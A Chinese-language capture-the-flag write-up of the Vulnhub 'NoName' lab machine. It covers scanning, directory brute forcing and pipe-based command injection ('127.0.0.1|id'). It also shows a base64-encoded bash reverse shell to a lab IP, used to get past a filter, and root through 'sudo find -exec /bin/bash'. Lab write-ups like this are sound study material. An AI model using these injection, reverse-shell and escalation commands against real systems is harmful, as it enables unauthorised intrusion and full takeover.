Vulnhub靶机-no_name


Vulnhub 靶机-NoName

信息收集

nmap -A -p- 192.168.1.30

image-20221121155209656

发现只开放了 80 端口。

打开网页看了一下,发现是个假的提交框。

同时发现页面给了提示,

Fake Admin Area--说明是假的管理界面,需要找到真的这个提交框,那么现在思路很明确了。开找!!!

image-20221121155453850

首先,我们需要把相关页面都检查一遍,防止有遗漏信息。

检查一遍之后,发现没有任何遗漏,那么开始目录遍历。

image-20221121155746654

目录遍历有很多工具,比如:dirb,dirbuster,gobuster,dirsearch 等等。今天我们掌握的是 dirsearch:

dirsearch -u http://192.168.1.30 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -r -i 200,300-404 -x 404 -e php,html,json,md,xml --random-agent #参数意思: #-t 线程 #-r 暴力递归 #-i 指定相应代码 #-x 不显示相应代码 #-e 指定后缀语言 #--random-agent 自定义请求头

image-20221121220916731

在这里,只探测了两个请求,笔者一个个看过去。虽然显示了一个 admin,但是目前并没有任何作用,只有四张图片,笔者怀疑该页面可能有隐藏信息,就 curl 继续查看

image-20221121221042471image-20221121221110201

curl -i -L 192.168.1.30/admin

image-20221121221434127

并没有发现任何的有用的信息

到了这一步,我猜想,可能是将信息隐藏到图片中,所有,将四张图片都下载下来,查看了一番:

image-20221121221634455

结果很遗憾,并没有发现任何有用的价值。

其实到了这里,笔者心里面已经开始慌了,笔者前去官网查看了一下这个靶机难度,怀疑是看错了靶机难易程度

image-20221121221904504

发现并没有看错,是一个初级水平的靶机,这个时候,笔者就纳闷了,为什么找不到漏洞呢?难道是找中间件漏洞?

image-20221121224741684

locate php/remote/29290.c //查看漏洞位置 gcc exp.c -o exp //编译 apt-get install libssl-dev //解决报错

image-20221121224927510

发现还是报错!!!!

不会解决问题的程序员不是好网络渗透爱好者!!!

继续解决问题:

gcc exp.c -o exp -lssl -lcrypto //编译成功,指定库放在源文件后面即可。

image-20221121225037024

现在,笔者怀着满满的信心,开始尝试!!!

开启监听

image-20221121230026825

笔者先尝试看看需要哪些参数:image-20221121225917410

开始尝试第一种:----错

image-20221121230103606

开始尝试第二种:---但是很遗憾,返回的都是 404。也许还是参数设置不对。image-20221121230150668

开始尝试第三种:---得到的结论一模一样。

image-20221121230314556

现在可以得出,这个漏洞不能利用。当然可能是我方式不对,所以,如果有知道该如何利用的,请告知我一声,一起学习一起进步!!

现在开始反思,是哪个地方出了问题?

1.靶机难度确实是入门,那么说明漏洞不难发现。

2.目前探测的只有 80 页面,探测没有问题。页面也很简单,都是静态,没有任何可交互的模式

3.进行过中间件漏洞探测。中间件漏洞探测目前没有发现。

4.进行过 web 目录遍历,那么根据页面提示,可能需要找到真正的 admin 页面。

5.如果中间件没有问题,那么就是目录有问题,也许是字典太小了?

好,说干就干,尝试大字典爆破!因为之前扫描发现有一个 index.php,那么先用 php 大字典扫一下:

有新发现!!!!并且可以执行命令!!

image-20221121234852009

image-20221121235023924

反弹 shell

看一下这个到底能不能执行其他命令

尝试了之后,发现并不能执行其他命令

那么换个思路,看能不能用 | 管道符。

127.0.0.1|id

image-20221122194510607

既然可以,那么先看一下该页面的源代码,看看是做了哪些处理,这样可以避免和之前一样,走不必要的弯路。

127.0.0.1|cat superadmin.php #具体解释放到图片中。 #那么这边是禁止nc等参数,同时也是禁止/ &符等参数。那么我们是否可以用一些加解密的方式跳过呢?来尝试一下!

image-20221122195156827

#还是一样,首先判断有哪些可以反弹的命令。(因为笔者之前没有判断,无脑nc,失败过,所以这次复盘才有这个过程。) 127.0.0.1 | whereis nc #没有信息 #正常来说都有bash,那么来看看bash把 127.0.0.1 | whereis bash #有 #那么开始bash反弹。

image-20221122205019295

bash -c 'exec bash -i &>/dev/tcp/192.168.1.16/8888 <&1' echo -n "bash -c 'exec bash -i &>/dev/tcp/192.168.1.16/8888 <&1'" | base64 echo -n YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xLjE2Lzg4ODggPCYxJw== | base64 -d ##发现加密后和解密后一致,那么可以开始反弹shell了。

image-20221122205113052

image-20221122205240778

这里需要注意一下,因为 base64 解密后,只是一个纯文本,需要给他执行权限,所以后面需要给他一个 bash,让他执行。如下:

127.0.0.1 |echo YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvMTkyLjE2OC4xLjE2Lzg4ODggPCYxJw== | base64 -d | bash #开启监听: rlwrap nc -lvnp 8888

image-20221122205546099

反弹成功!!!

提权

查看相关版本信息:这个版本我记得是没有什么漏洞的。image-20221122205921374

继续查看可否有 suid 提权的。

find / -perm -u=s -type f 2>/dev/null |grep /usr/bin #这里有一个pkexec,是可以提权的,但是有一个限制,就是需要有sudo用户组权限或者密码。也就是目前应该是不可以用的。再找找其他的。 crontab -l #也没有定时任务。 #这里需要再找找其他文件,如果找不到,就需要上传linux检测的相关脚本,自行检测了。

image-20221122210416854

image-20221122210751690

继续查询 home 目录下的用户目录:

image-20221122211242093

image-20221122211620901

image-20221122211801629

find / -type f -iname "*passwd*" #我都看了一遍,没有查到有用的信息。 #那么在查找隐藏文件中有passwd的 find / -type f -iname ".*passwd*" #完美!!找到了!!!

image-20221122212742770

image-20221122212752354

image-20221122212906734

好吧,显示需要用交互式命令,那么给他一个交互式命令把。

python3 -c 'import pty;pty.spawn("/bin/bash")';

进入 haclabs 目录,用 cat 看了一下.sudo_as_admin_successful 这个目录**,显示的还是这个,那么从字面意思来看,是这个用户有一个 root 权限的命令,那么用 sudo -l 查看一下

image-20221122213406453

使用 find 提权,这个再熟悉不过了!

sudo find -exec /bin/bash \; -quit

image-20221122213812687

提权成功!!!

===========================================================================

这个靶机没有什么可以总结的,如果非要总结就是,以后扫描目录要用一个大目录~~~哈哈哈哈


looch 2022年11月22日 22:12 收藏文档